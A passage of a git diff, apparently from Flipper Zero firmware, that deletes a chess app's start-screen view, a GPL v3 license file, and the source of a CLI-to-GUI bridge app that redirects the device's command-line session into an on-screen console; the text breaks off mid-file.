//canvas_set_font(canvas, FontSecondary); - //canvas_draw_str(canvas, 10, 11, "How about a nice game of..."); - //canvas_draw_str(canvas, 99, 40, FLIPCHESS_VERSION); - - //canvas_set_font(canvas, FontPrimary); - //canvas_draw_str(canvas, 10, 23, "Chess"); - //canvas_draw_icon(canvas, 0, 40, &I_Background_128x11); - //canvas_draw_str(canvas, 10, 61, "FLIPR"); - - elements_button_left(canvas, "Sound"); - elements_button_right(canvas, "Silent"); -} - -static void flipchess_startscreen_model_init(FlipChessStartscreenModel* const model) { - model->some_value = 1; -} - -bool flipchess_startscreen_input(InputEvent* event, void* context) { - furi_assert(context); - FlipChessStartscreen* instance = context; - FlipChess* app = instance->context; - - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - with_view_model( - instance->view, - FlipChessStartscreenModel * model, - { - UNUSED(model); - instance->callback(FlipChessCustomEventStartscreenBack, instance->context); - }, - true); - break; - case InputKeyLeft: - // sound on, haptic off - app->sound = 1; - app->haptic = FlipChessHapticOff; - with_view_model( - instance->view, - FlipChessStartscreenModel * model, - { - UNUSED(model); - instance->callback(FlipChessCustomEventStartscreenOk, instance->context); - }, - true); - break; - case InputKeyRight: - // sound off, haptic on - app->sound = 0; - app->haptic = FlipChessHapticOn; - with_view_model( - instance->view, - FlipChessStartscreenModel * model, - { - UNUSED(model); - instance->callback(FlipChessCustomEventStartscreenOk, instance->context); - }, - true); - break; - case InputKeyUp: - case InputKeyDown: - case InputKeyOk: - case InputKeyMAX: - break; - } - } - return true; -} - -void flipchess_startscreen_exit(void* context) { - furi_assert(context); -} - -void flipchess_startscreen_enter(void* context) { - furi_assert(context); - FlipChessStartscreen* instance = (FlipChessStartscreen*)context; - with_view_model( - instance->view, - FlipChessStartscreenModel * model, - { flipchess_startscreen_model_init(model); }, - true); -} - -FlipChessStartscreen* flipchess_startscreen_alloc() { - FlipChessStartscreen* instance = malloc(sizeof(FlipChessStartscreen)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(FlipChessStartscreenModel)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)flipchess_startscreen_draw); - view_set_input_callback(instance->view, flipchess_startscreen_input); - //view_set_enter_callback(instance->view, flipchess_startscreen_enter); - //view_set_exit_callback(instance->view, flipchess_startscreen_exit); - - with_view_model( - instance->view, - FlipChessStartscreenModel * model, - { flipchess_startscreen_model_init(model); }, - true); - - return instance; -} - -void flipchess_startscreen_free(FlipChessStartscreen* instance) { - furi_assert(instance); - - with_view_model( - instance->view, FlipChessStartscreenModel * model, { UNUSED(model); }, true); - view_free(instance->view); - free(instance); -} - -View* flipchess_startscreen_get_view(FlipChessStartscreen* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/chess/views/flipchess_startscreen.h b/applications/external/chess/views/flipchess_startscreen.h deleted file mode 100644 index 7c6203569..000000000 --- a/applications/external/chess/views/flipchess_startscreen.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/flipchess_custom_event.h" - -typedef struct FlipChessStartscreen FlipChessStartscreen; - -typedef void (*FlipChessStartscreenCallback)(FlipChessCustomEvent event, void* context); - -void flipchess_startscreen_set_callback( - FlipChessStartscreen* flipchess_startscreen, - FlipChessStartscreenCallback callback, - void* context); - -View* flipchess_startscreen_get_view(FlipChessStartscreen* flipchess_static); - -FlipChessStartscreen* flipchess_startscreen_alloc(); - -void flipchess_startscreen_free(FlipChessStartscreen* flipchess_static); \ No newline at end of file diff --git a/applications/external/cli_bridge/LICENSE b/applications/external/cli_bridge/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/cli_bridge/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/cli_bridge/application.fam b/applications/external/cli_bridge/application.fam deleted file mode 100644 index f5f294d9b..000000000 --- a/applications/external/cli_bridge/application.fam +++ /dev/null @@ -1,10 +0,0 @@ -App( - appid="cli_gui", - name="CLI (subghz chat)", - apptype=FlipperAppType.EXTERNAL, - entry_point="cligui_main", - requires=["gui", "cli"], - stack_size=8 * 1024, - fap_icon="cligui.png", - fap_category="Tools", -) diff --git a/applications/external/cli_bridge/cli_control.c b/applications/external/cli_bridge/cli_control.c deleted file mode 100644 index d4760275b..000000000 --- a/applications/external/cli_bridge/cli_control.c +++ /dev/null @@ -1,104 +0,0 @@ -#include "cli_control.h" - -#include -#include -#include -#include -#include "cligui_main_i.h" -#include - -volatile bool gotCallbackSet = false; - -FuriStreamBuffer* tx_stream; -FuriStreamBuffer* rx_stream; -static FuriThread* volatile cliThread = NULL; -static void tx_handler_stdout(const char* buffer, size_t size) { - furi_stream_buffer_send(tx_stream, buffer, size, FuriWaitForever); -} -static void tx_handler(const uint8_t* buffer, size_t size) { - furi_thread_set_stdout_callback(tx_handler_stdout); - cliThread = furi_thread_get_current(); - furi_stream_buffer_send(tx_stream, buffer, size, FuriWaitForever); -} -static size_t real_rx_handler(uint8_t* buffer, size_t size, uint32_t timeout) { - size_t rx_cnt = 0; - while(size > 0) { - size_t batch_size = size; - if(batch_size > 128) batch_size = 128; - size_t len = furi_stream_buffer_receive(rx_stream, buffer, batch_size, timeout); - if(len == 0) break; - size -= len; - buffer += len; - rx_cnt += len; - } - return rx_cnt; -} - -static CliCommand* getCliCommand(Cli* cli, const char* name) { - FuriString* target_command = furi_string_alloc(); - furi_string_set_str(target_command, name); - CliCommand* command = CliCommandTree_get(cli->commands, target_command); - furi_string_free(target_command); - return command; -} - -static void session_init(void) { -} -static void session_deinit(void) { -} -static bool session_connected(void) { - return true; -} -static CliSession session; -void latch_tx_handler() { - Cli* global_cli = furi_record_open(RECORD_CLI); - - CliCommand* help_command = getCliCommand(global_cli, "help"); - cliThread = help_command->context; - - furi_thread_set_stdout_callback(tx_handler_stdout); - if(cliThread != NULL) { - cliThread->output.write_callback = &tx_handler_stdout; - } - - rx_stream = furi_stream_buffer_alloc(128, 1); - tx_stream = furi_stream_buffer_alloc(128, 1); - - session.tx = &tx_handler; - session.rx = &real_rx_handler; - session.tx_stdout = &tx_handler_stdout; - session.init = &session_init; - session.deinit = &session_deinit; - session.is_connected = &session_connected; - cli_session_close(global_cli); - cli_session_open(global_cli, &session); - furi_record_close(RECORD_CLI); -} -void unlatch_tx_handler(bool persist) { - Cli* global_cli = furi_record_open(RECORD_CLI); - // Stash cliThread if not null - if(cliThread != NULL) { - CliCommand* help_command = getCliCommand(global_cli, "help"); - help_command->context = cliThread; - } - // Switch to new session - if(persist) { - // Use dummy debug firmware function as is_connected - cli_vcp.is_connected = &furi_hal_version_do_i_belong_here; - } else { - // Send CTRL-C - char eot = 0x03; - furi_stream_buffer_send(rx_stream, &eot, 1, FuriWaitForever); - } - cli_session_open(global_cli, &cli_vcp); - furi_record_close(RECORD_CLI); - // Unblock waiting rx handler - furi_stream_buffer_send(rx_stream, "_", 1, FuriWaitForever); - // Reconfigure stdout_callback to cli_vcp - if(cliThread != NULL) { - cliThread->output.write_callback = cli_vcp.tx_stdout; - } - // At this point, all cli_vcp functions should be back. - furi_stream_buffer_free(rx_stream); - furi_stream_buffer_free(tx_stream); -} diff --git a/applications/external/cli_bridge/cli_control.h b/applications/external/cli_bridge/cli_control.h deleted file mode 100644 index 9ea959155..000000000 --- a/applications/external/cli_bridge/cli_control.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -#include -#include -extern void latch_tx_handler(); -extern void unlatch_tx_handler(bool persist); -extern FuriStreamBuffer* tx_stream; -extern FuriStreamBuffer* rx_stream; \ No newline at end of file diff --git a/applications/external/cli_bridge/cligui.png b/applications/external/cli_bridge/cligui.png deleted file mode 100644 index 57a97049e..000000000 Binary files a/applications/external/cli_bridge/cligui.png and /dev/null differ diff --git a/applications/external/cli_bridge/cligui_main.c b/applications/external/cli_bridge/cligui_main.c deleted file mode 100644 index f275e1d4f..000000000 --- a/applications/external/cli_bridge/cligui_main.c +++ /dev/null @@ -1,146 +0,0 @@ -#include "cligui_main_i.h" -#include "cli_control.h" -#include "text_input.h" -#include "console_output.h" -#include -#include - -static bool cligui_custom_event_cb(void* context, uint32_t event) { - UNUSED(event); - CliguiApp* app = context; - UNUSED(app); - return true; -} -static bool cligui_back_event_cb(void* context) { - CliguiApp* app = context; - UNUSED(app); - return true; -} -static void cligui_tick_event_cb(void* context) { - CliguiApp* app = context; - size_t available = furi_stream_buffer_bytes_available(app->data->streams.app_rx); - for(size_t i = 0; i < available; i++) { - char c = 0; - size_t len = furi_stream_buffer_receive(app->data->streams.app_rx, &c, 1, 100); - if(len > 0) { - furi_string_push_back(app->text_box_store, 